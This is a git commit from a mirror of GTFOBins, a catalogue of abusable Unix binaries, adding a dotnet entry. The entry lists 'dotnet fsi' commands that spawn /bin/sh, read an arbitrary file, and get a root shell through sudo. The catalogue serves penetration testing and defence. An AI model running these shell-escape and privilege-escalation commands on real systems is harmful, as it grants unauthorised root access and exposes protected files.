1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Add dotnet

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
pad0van 2023-02-24 04:53:30 +08:00 committed by GitHub
parent abbed40f74
commit f9e3d84596
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/dotnet.md Normal file
View File

@ -0,0 +1,16 @@
---
functions:
shell:
- code: |
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
file-read:
- code: |
export LFILE=file_to_read
dotnet fsi
System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
sudo:
- code: |
sudo dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
---